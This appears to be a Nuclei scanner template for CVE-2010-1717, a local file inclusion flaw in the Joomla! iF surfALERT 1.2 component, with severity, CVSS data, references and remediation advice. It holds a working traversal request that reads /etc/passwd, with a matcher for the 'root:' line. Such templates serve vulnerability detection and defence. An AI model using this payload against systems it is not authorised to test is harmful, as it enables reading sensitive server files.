id: CVE-2010-1717

info:
  name: Joomla! Component iF surfALERT 1.2 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the iF surfALERT (com_if_surfalert) component 1.2 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Apply the latest patch or upgrade to a newer version of the Joomla! Component iF surfALERT to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12291
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1717
    - http://www.vupen.com/english/advisories/2010/0924
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Live-Hack-CVE/CVE-2010-1717
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1717
    cwe-id: CWE-22
    epss-score: 0.01733
    epss-percentile: 0.87598
    cpe: cpe:2.3:a:if_surfalert_project:if_surfalert:1.2:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: if_surfalert_project
    product: if_surfalert
    framework: joomla\!
  tags: cve,cve2010,joomla,lfi,edb,if_surfalert_project,joomla\!

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_if_surfalert&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022075bf9943652c65745220aefcde31153504134364a5e1cd49b5c1aab888240e9e022100f771e85d2c0a05f3ffcfa1aadde13766062fc8297d9531c0e4a90725ca94ed81:922c64590222798bb761d5b6d8e72950